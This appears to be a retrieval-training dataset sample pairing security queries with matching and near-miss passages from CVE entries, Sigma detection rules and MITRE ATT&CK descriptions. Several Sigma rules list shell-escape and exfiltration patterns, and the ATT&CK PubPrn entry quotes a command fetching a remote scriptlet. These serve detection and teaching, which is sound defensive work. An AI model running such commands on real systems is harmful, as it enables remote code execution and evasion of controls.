alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: describe CVE-2015-3794
Matching passage: CVE-2015-3794. CWE: CWE-119. CVSS: 6.800000190734863. The Speech UI in Apple OS X before 10.10.5, when speech alerts are enabled, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted Unicode string.
Near-miss passage: CVE-2015-5815. CWE: CWE-119. CVSS: 6.800000190734863. WebKit, as used in Apple iTunes before 12.3, allows man-in-the-middle attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors related to iTunes Store browsing, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2015-09-16-3.
Query: Sigma rule for Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associate
Matching passage: Sigma rule: Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associate. Logsource: linux / process_creation. Rule: title: Vim GTFOBin Abuse - Linux id: 7ab8f73a-fcff-428b-84aa-6a5ff7877dea status: test description: 'Detects the use of "vim" and it''s siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. ' references: - https://gtfobins.github.io/gtfobins/vi/ - https://gtfobins.github.io/gtfobins/vim/ - https://gtfobins.github.io/gtfobins/rvim/ - https://gtfobins.github.io/gtfobins/vimdiff/ author: Nasreddine Bencherchali (Nextron Systems), Luc Génaux date: 2022-12-28 modified: 2026-06-05 tags: - attack.execution - attack.discovery - attack.t1059 - attack.t1083 logsource: category: process_creation product: linux detection: selection_img: Image|endswith: - /rvim - /vi - /vim - /vimdiff CommandLine|contains: - ' --cmd ' - ' -c' selection_cli: CommandLine|contains: - :!/ - :!$ - :!.. - ':lua ' - ':py ' - :shell - /bin/bash - /bin/dash - /bin/fish - /bin/sh - /bin/csh - /bin/ksh - /bin/zsh - /bin/tmux condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects when Kubernetes Secrets are Modified or Deleted.. Logsource: kubernetes / audit. Rule: title: Kubernetes Secrets Modified or Deleted id: 58d31a75-a4f8-4c40-985b-373d58162ca2 related: - id: 2f0bae2d-bf20-4465-be86-1311addebaa3 type: similar status: test description: 'Detects when Kubernetes Secrets are Modified or Deleted. ' references: - https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/ - https://commandk.dev/blog/guide-to-audit-k8s-secrets-for-compliance/ author: kelnage date: 2024-07-11 tags: - attack.credential-access logsource: product: kubernetes service: audit detection: selection: objectRef.resource: secrets verb: - create - delete - patch - replace - update condition: selection falsepositives: - Secrets being modified or deleted may be performed by a system administrator. - Automated processes may need to take these actions and may need to be filtered. level: medium
Query: patch priority for CVE-2015-6353
Matching passage: CVE-2015-6353. CWE: CWE-79. CVSS: 3.5. Multiple cross-site scripting (XSS) vulnerabilities in Cisco FireSight Management Center (MC) 5.3.1.5 and 5.4.x through 5.4.1.3 allow remote authenticated users to inject arbitrary web script or HTML via unspecified parameters, aka Bug ID CSCuu28922.
Near-miss passage: CVE-2015-8758. CWE: CWE-79. CVSS: 5.400000095367432. Multiple cross-site scripting (XSS) vulnerabilities in unspecified frontend components in TYPO3 6.2.x before 6.2.16 and 7.x before 7.6.1 allow remote authenticated editors to inject arbitrary web script or HTML via unknown vectors.
Query: write Sigma for Detects failed attempts to clear Windows event logs via the WMI NTEventLogFile ClearEventLog method. Event 5858 in the W
Matching passage: Sigma rule: Detects failed attempts to clear Windows event logs via the WMI NTEventLogFile ClearEventLog method. Event 5858 in the W. Logsource: windows / wmi. Rule: title: Failed Event Log Clear Via WMI NTEventLogFile ClearEventLog id: d4f1a2b3-7c8e-4d5f-b6a9-1e0c2d3f4e5b status: test description: 'Detects failed attempts to clear Windows event logs via the WMI NTEventLogFile ClearEventLog method. Event 5858 in the WMI-Activity operational log is an error event, meaning it is only generated when the WMI operation encounters an error (e.g. access denied, provider failure). It could be an indication of an attacker attempting to clear event logs via WMI, but failing due to insufficient privileges or other issues. Successful clearing operations will NOT produce this event; for those, correlate with Security event 1102 or System event 104. ' references: - https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/cleareventlog-method-in-class-win32-nteventlogfile author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2026-07-01 tags: - attack.defense-impairment - attack.t1685.005 logsource: product: windows service: wmi detection: selection: EventID: 5858 Operation|contains|all: - Win32_NTEventlogFile - cleareventlog condition: selection falsepositives: - Unknown level: medium regression_tests_path: regression_data/rules/windows/builtin/wmi/win_wmi_activity_nteventlogfile_cleareventlog/info.yml
Near-miss passage: Sigma rule: Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.. Logsource: opencanary / application. Rule: title: OpenCanary - HTTP POST Login Attempt id: af1ac430-df6b-4b38-b976-0b52f07a0252 status: test description: 'Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST. ' references: - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 author: Security Onion Solutions date: 2024-03-08 tags: - attack.initial-access - attack.t1190 logsource: category: application product: opencanary detection: selection: logtype: 3001 condition: selection falsepositives: - Unlikely level: high
Query: vulnerability: arch/x86/entry/entry_64.S in the Linux kernel before 4.1.6 on the x86_64 platform improperly relies on espfix64 during nested NMI processing, which allows local users to gain privi
Matching passage: CVE-2015-3290. CWE: CWE-264. CVSS: 7.199999809265137. arch/x86/entry/entry_64.S in the Linux kernel before 4.1.6 on the x86_64 platform improperly relies on espfix64 during nested NMI processing, which allows local users to gain privileges by triggering an NMI within a certain instruction window.
Near-miss passage: CVE-2015-7597. CWE: CWE-264. CVSS: 7.800000190734863. SafeNet Authentication Service IIS Agent uses a weak ACL for unspecified installation directories and executable modules, which allows local users to gain privileges by modifying an executable module.
Query: Lateral movement indicators for Virtual Private Server
Matching passage: T1583.003 Virtual Private Server. Tactics: resource development. Description: Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)
Near-miss passage: T1583.005 Botnet. Tactics: resource development. Description: Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. Internet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks – consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices – to serve as a botnet.(Citation: ORB Mandiant) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) Acquired botnets may also be used to support Command and Control activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) network.
Query: Sigma YAML for windows / image_load
Matching passage: Sigma rule: Detects unsigned module load by ClickOnce application.. Logsource: windows / image_load. Rule: title: Unsigned Module Loaded by ClickOnce Application id: 060d5ad4-3153-47bb-8382-43e5e29eda92 status: test description: Detects unsigned module load by ClickOnce application. references: - https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5 author: '@SerkinValery' date: 2023-06-08 tags: - attack.privilege-escalation - attack.persistence - attack.execution - attack.stealth - attack.t1574.001 logsource: category: image_load product: windows detection: selection_path: Image|contains: \AppData\Local\Apps\2.0\ selection_sig_status: - Signed: 'false' - SignatureStatus: Expired condition: all of selection_* falsepositives: - Unlikely level: medium
Near-miss passage: Sigma rule: Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this func. Logsource: windows / process_creation. Rule: title: Visual Studio Code Tunnel Shell Execution id: f4a623c2-4ef5-4c33-b811-0642f702c9f1 status: test description: Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system. references: - https://ipfyx.fr/post/visual-studio-code-tunnel/ - https://badoption.eu/blog/2023/01/31/code_c2.html - https://code.visualstudio.com/docs/remote/tunnels author: Nasreddine Bencherchali (Nextron Systems) date: 2023-10-25 tags: - attack.command-and-control - attack.t1071.001 logsource: category: process_creation product: windows detection: selection_parent: ParentImage|contains: \servers\Stable- ParentImage|endswith: \server\node.exe ParentCommandLine|contains: .vscode-server selection_child_1: Image|endswith: - \powershell.exe - \pwsh.exe CommandLine|contains: \terminal\browser\media\shellIntegration.ps1 selection_child_2: Image|endswith: - \wsl.exe - \bash.exe condition: selection_parent and 1 of selection_child_* falsepositives: - Legitimate use of Visual Studio Code tunnel and running code from there level: medium
Query: risk of Multiple cross-site scripting (XSS) vulnerabilities in the Graphical User Interface (GUI) in Fortinet FortiManager before 5.2.4 allow remote attackers to inject arbitrary web scrip
Matching passage: CVE-2015-8038. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in the Graphical User Interface (GUI) in Fortinet FortiManager before 5.2.4 allow remote attackers to inject arbitrary web script or HTML via the (1) sharedjobmanager or (2) SOMServiceObjDialog.
Near-miss passage: CVE-2015-7666. CWE: CWE-79. CVSS: 6.099999904632568. Multiple cross-site scripting (XSS) vulnerabilities in the (1) cp_updateMessageItem and (2) cp_deleteMessageItem functions in cp_ppp_admin_int_message_list.inc.php in the Payment Form for PayPal Pro plugin before 1.0.2 for WordPress allow remote attackers to inject arbitrary web script or HTML via the cal parameter.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie.. Logsource: windows / process_creation. Rule: title: Suspicious WebDav Client Execution Via Rundll32.EXE id: 982e9f2d-1a85-4d5b-aea4-31f5e97c6555 status: test description: 'Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397 ' references: - https://twitter.com/aceresponder/status/1636116096506818562 - https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/ - https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/ - https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png - https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/ author: Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems) date: 2023-03-16 modified: 2023-09-18 tags: - attack.exfiltration - attack.t1048.003 - cve.2023-23397 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \svchost.exe ParentCommandLine|contains: -s WebClient Image|endswith: \rundll32.exe CommandLine|contains: C:\windows\system32\davclnt.dll,DavSetCookie CommandLine|re: ://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} filter_local_ips: CommandLine|contains: - ://10. - ://192.168. - ://172.16. - ://172.17. - ://172.18. - ://172.19. - ://172.20. - ://172.21. - ://172.22. - ://172.23. - ://172.24. - ://172.25. - ://172.26. - ://172.27. - ://172.28. - ://172.29. - ://172.30. - ://172.31. - ://127. - ://169.254. condition: selection and not 1 of filter_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs. Logsource: windows / process_creation. Rule: title: Uncommon Child Process Of Defaultpack.EXE id: b2309017-4235-44fe-b5af-b15363011957 status: test description: Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs references: - https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/ - https://www.echotrail.io/insights/search/defaultpack.exe author: frack113 date: 2022-12-31 modified: 2024-04-22 tags: - attack.stealth - attack.t1218 - attack.execution logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \DefaultPack.exe condition: selection falsepositives: - Unknown level: medium
Query: CVE similar to CVE-2015-1293
Matching passage: CVE-2015-1293. CWE: CWE-264. CVSS: 7.5. The DOM implementation in Blink, as used in Google Chrome before 45.0.2454.85, allows remote attackers to bypass the Same Origin Policy via unspecified vectors.
Near-miss passage: CVE-2015-8370. CWE: CWE-264. CVSS: 7.400000095367432. Multiple integer underflows in Grub2 1.98 through 2.02 allow physically proximate attackers to bypass authentication, obtain sensitive information, or cause a denial of service (disk corruption) via backspace characters in the (1) grub_username_get function in grub-core/normal/auth.c or the (2) grub_password_get function in lib/crypto.c, which trigger an "Off-by-two" or "Out of bounds overwrite" memory error.
Query: risk of Unspecified vulnerability in Oracle MySQL Server 5.6.24 and earlier allows remote authenticated users to affect availability via vectors related to DML.
Matching passage: CVE-2015-2611. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in Oracle MySQL Server 5.6.24 and earlier allows remote authenticated users to affect availability via vectors related to DML.
Near-miss passage: CVE-2015-8644. CWE: UNKNOWN. CVSS: 8.800000190734863. Adobe Flash Player before 18.0.0.324 and 19.x and 20.x before 20.0.0.267 on Windows and OS X and before 11.2.202.559 on Linux, Adobe AIR before 20.0.0.233, Adobe AIR SDK before 20.0.0.233, and Adobe AIR SDK & Compiler before 20.0.0.233 allow attackers to execute arbitrary code by leveraging an unspecified "type confusion."
Query: mitigate PubPrn
Matching passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Near-miss passage: T1216.002 SyncAppvPublishingServer. Tactics: stealth. Description: Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv) The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv) Adversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by "living off the land."(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv) `SyncAppvPublishingServer.vbs "n; {PowerShell}"`
Query: vulnerability: Cross-site scripting (XSS) vulnerability in IBM Emptoris Contract Management 9.5.0.x before 9.5.0.6 iFix15, 10.0.0.x and 10.0.1.x before 10.0.1.5 iFix5, 10.0.2.x before 10.0.2.7 iF
Matching passage: CVE-2015-7398. CWE: CWE-79. CVSS: 5.400000095367432. Cross-site scripting (XSS) vulnerability in IBM Emptoris Contract Management 9.5.0.x before 9.5.0.6 iFix15, 10.0.0.x and 10.0.1.x before 10.0.1.5 iFix5, 10.0.2.x before 10.0.2.7 iFix4, and 10.0.4.x before 10.0.4.0 iFix3 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.
Near-miss passage: CVE-2015-6658. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the Autocomplete system in Drupal 6.x before 6.37 and 7.x before 7.39 allows remote attackers to inject arbitrary web script or HTML via a crafted URL, related to uploading files.
Query: vulnerability: The TheCartPress eCommerce Shopping Cart (aka The Professional WordPress eCommerce Plugin) plugin for WordPress before 1.3.9.3 allows remote attackers to obtain sensitive order det
Matching passage: CVE-2015-3302. CWE: CWE-284. CVSS: 7.5. The TheCartPress eCommerce Shopping Cart (aka The Professional WordPress eCommerce Plugin) plugin for WordPress before 1.3.9.3 allows remote attackers to obtain sensitive order detail information by leveraging a "broken authentication mechanism."
Near-miss passage: CVE-2015-3672. CWE: CWE-284. CVSS: 7.199999809265137. Admin Framework in Apple OS X before 10.10.4 does not properly handle authentication errors, which allows local users to obtain admin privileges via unspecified vectors.
Query: CVE similar to CVE-2015-4286
Matching passage: CVE-2015-4286. CWE: CWE-20. CVSS: 5.0. The web framework in Cisco UCS Central Software 1.3(0.99) allows remote attackers to read arbitrary files via a crafted HTTP request, aka Bug ID CSCuu41377.
Near-miss passage: CVE-2015-6242. CWE: CWE-20. CVSS: 4.300000190734863. The wmem_block_split_free_chunk function in epan/wmem/wmem_allocator_block.c in the wmem block allocator in the memory manager in Wireshark 1.12.x before 1.12.7 does not properly consider a certain case of multiple realloc operations that restore a memory chunk to its original size, which allows remote attackers to cause a denial of service (incorrect free operation and application crash) via a crafted packet.
Query: vulnerability: SQL injection vulnerability in the Gateway Provisioning service in EMC Secure Remote Services Virtual Edition (ESRS VE) 3.02 and 3.03 allows remote attackers to execute arbitrary S
Matching passage: CVE-2015-0524. CWE: CWE-89. CVSS: 7.5. SQL injection vulnerability in the Gateway Provisioning service in EMC Secure Remote Services Virtual Edition (ESRS VE) 3.02 and 3.03 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
Near-miss passage: CVE-2015-9330. CWE: CWE-89. CVSS: 9.800000190734863. The wp-all-import plugin before 3.2.5 for WordPress has blind SQL injection.